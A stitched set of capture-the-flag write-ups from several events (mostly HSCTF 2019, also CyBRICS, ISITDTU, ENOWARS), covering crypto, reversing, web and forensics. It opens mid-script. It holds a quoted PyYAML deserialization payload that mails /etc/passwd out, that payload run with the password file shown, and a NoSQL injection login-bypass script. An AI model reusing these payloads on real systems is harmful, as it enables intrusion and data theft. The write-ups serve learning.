flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz} another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])} def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2) flag = "" for filename in range(1,13): position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0]) with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:] for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord] flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26) print(f"hsctf{{{flag}}}")``` ## RealReversal-:> description: ### Solution:On opening file we see Reversing the file means reversing the hexes.So one liner will do that ```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])``` and on opening reversed file you see utf-8 chars Explanation:Why it happens that on the reverse bytes we can't see any characters, because >UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes. So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}` ## JsonInfo-:> description: ### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning: >Refer to the PyYAML documentation: >Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file. >!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values ​​will open the door for attacks. >repair: >Always use yaml.safe_load unless you have a very good reason. So we tried to do these thing as instructed here to see if the vulnerability is here: ```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info! ```So, yeah the vulnerability is here, Great!!! ```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}` # **CRYPTO** ## Massive Rsa-:> description: ### Solution: We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}` ## Really Secure Algorithm-:> description: ### Solution: We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs. ```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}` ## Tux Kitchen-:> description: ### Solution:Here's the problem ```pythonimport random good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """ flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316 # I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999) # Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess # Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food # Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])` I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result. ```pythonfrom functools import reducefrom gmpy2 import * def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier) def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d)) w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag print(''.join(chr(i) for i in ans)) ``` If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}` # **REVERSAL** ## I Thought Trig Was Really Easy-:> description: ### Solution: The problem is here as: ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96 inp = input("Enter the text: ") out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse. So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it! ```pythonimport math def nice_math(x, y): return round(x + y*math.cos(math.pi * x)) lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2)) def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1)) ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1 print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}` ## Tux Talk Show 2019:> description: ### Solution: For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv) { long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us. So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here. ```pythonfrom pwn import * a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767 m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h" int main(int argc, char *argv[]) { time_t t; srand((unsigned) time(&t);; int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e}; int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1); printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time host = "rev.hsctf.com"port = 6767 s = remote(host,port)p = process("./a.out") res = p.recvline() s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server. ## Bitecode -:> description: ### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups. http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java). So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them. [Watch this video](https://youtu.be/rYOZHB_ABlo)[![Watch this video](https://imgur.com/x2U3taX.png)](https://youtu.be/rYOZHB_ABlo) <video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video> So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}` # **WEB** ## MD5-- :> description: ### Solution: ```php ```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag. One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf) So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s)) breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409 Here's our flag `hsctf{php_type_juggling_is_fun}` ## Networked Password -:> description: ### Solution: We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-: > Hint : You know the flag format So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers. And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{" DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag. # **FORENSICS** ## Double Trouble : > description: ### Solution: After downloading image you see both are quite similar . ![](assets/forensics/koala.png) ![](assets/forensics/koala2.png) So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install). Opening it on command line `java -jar stegsolve.jar` I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: "
Written by: dwangMy friend sent me this file, but I don't understand what I can do with these 6 different characters...```After downloading the file: Verbose.txtwe can see that's written with only 6 characters```That's why we think about JsFuck Decryption. And after decrypting file we got that JavaScript Code```var flag = "hsctf{esoteric_javascript_is_very_verbose}";window.location = "https://hsctf.com";```and it's Done !
Shittr was a Twitter clone and part of ENOWARS 3. It provides user accounts, which can be registered using a username and password. Each user can then send messages, which can either be private or public, as well as set a status message in their profile. A user can also see and like other user’s messages. Private messages of other users are visible, but only appear as long base64-encoded strings. Find out about the vulnerabilities in the writeup.
#/usr/bin/env python2 import requests s = requests.Session() data = { 'username':'admin', 'password':'","password":{"$ne":null},"username":"admin'} #loginresponse = s.post('http://173.199.118.226/index.php', data=data) #flagresponse = s.post('http://173.199.118.226/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12', data=data)print(bytes(response.content).decode()) #flag --> bcybrics{7|-|15 15 4 7E><7 |=|_49} [https://github.com/fg0ddd/CTF-Writeups/blob/master/Cybrics2019/WebExploitation/NopeSQL.py](http://)
# Baby>nc 35.185.178.212 33337 or nc 35.185.178.212 33338We are given a [baby.py](baby.py) It looks like the server just sha512s (flag|input) and then sends the hash to us, which allows for a very simple exploit. ## Exploit First, we send 0, obtaining the sha512 of the flag. Next, we send 2^(i-1), checking if the hash changed, if the hash changed, then set the ith bit of the flag to 0, else if the hash is still the same, set the ith bit of the flag to 1 ### Logic Consider a simple flag 0b01 First, we send 0, obtaining the sha512 of 0b1001 Next, we send 0b1, we get the sha512 hash of 0b1001|0b1=0b1001, which did not change. The only way it won't change is if the OR operation did not affect our flag, or more mathematically, FLAG|INPUT=FLAG. Since 1|1=1 and 0|1=1, the first bit must be 1 Next, we send 0b10, we get the sha512 hash of 0b1001|0b10=0b1011, which is different(only one bit changed, idt it's possible to hash collide?). Therefore the second bit is 0. We continue this till we obtain every bit of the flag. [exploit](exploit.py) >Flag: ISITDTU{bit\_flipping\_is\_fun} p.s. the server response is incredible, probably the fastest I've ever seen, especially for such a challenge where you have to solve bit by bit
A very simple buffer overflow challenge. You can find an extremely detailed writeup on [my website](https://syedfarazabrar.com/pwn/2019/06/22/hsctf-binary-exploitation-challenges.html#return-to-sender).
In Challenge .asm file is Given, We can Understand Given code and make Python Script for That, Although file contains [pdp11](https://en.wikipedia.org/wiki/PDP-11_architecture) Assembly . ```.MCALL .TTYOUT,.EXITSTART: mov #MSG r1 mov #0d r2 mov #32d r3loop: mov #MSG r1 add r2 r1 movb (r1) r0 .TTYOUT sub #1d r3 cmp #0 r3 beq DONE add #33d r2 swab r2 clrb r2 swab r2 br loop DONE: .EXIT MSG: .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}".end START ``` **Python Script** ```str="cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"i=0j=32flag=""while j>0: flag+=(str[i%len(str)]) i+=33 j-=1print(flag) Just Run It for **flag:cybrics{pdp_gpg_crc_dtd_bkb_php}** ```
# Challenge description > Here you have some modern encryption software. Actually, it’s even too modern for your hardware.>> Try to find out how to decode the WAV file with a secret message:>> fastcrypto.zip # Analysis The zip file contains three files. An encrypted wav file, a public key (consisting of `N` and `O`) and the python code used for encryption. The python script asks for a seed (`0 <= seed <= 2^16`) and a power a power (`2 <= power <= 16`). These values are used in conjuction with the public key to generate a stream of bytes. At each iteration the 8 least significant bits of the state are the next byte of the stream. The entered seed is the initial state, and the state transition is defined as `state = state ** power % N`. The first `O` bytes of the stream are discarded, and the rest was used to XOR encrypt the WAV file. # Solution The used seed and power are unknown, but luckily the search space for this is only of size `2^16 * 2^4 = 2^20`, which is bruteforceable. The task now becomes searching for a combination (seed, power) which generated the correct bytestream to decrypt the first 4 bytes of the encrypted WAV file to `0x52 0x49 0x46 0x46` which are the magic bytes of WAV files. However, the testing of each combination is very slow (2-3s each in C) and should be sped up a little to finish in a reasonable time. The first thing to notice is that the state transition can be more efficiently expressed as `state = pow(state, power, N)`, which makes sure the intermediate results are considered modulo N as well. This is obviously better than calculating the actual power, and then reducing it with `%N`. The second observation to make is that discarding the first `O` iterations is doing the same as transforming the state like `state = state ** (power ** O) % N`.The factor `power ** O` is independant of the seed, and only needs to be calculated for every value of `power`. Doing this speeds up the calculations to 0.5-1s per combination. The last optimisation is possible because `N` is easily factorable (sage solves this near instantly), so Euler's Theorem can be applied: `state = state ** (power ** O) % N = state ** (power ** O % phi(N)) % N`. Using the python power notation, this becomes: `state = pow(state, pow(power, O, phi(N)), N)`. Doing this speeds the process up to <10ms per iteration.
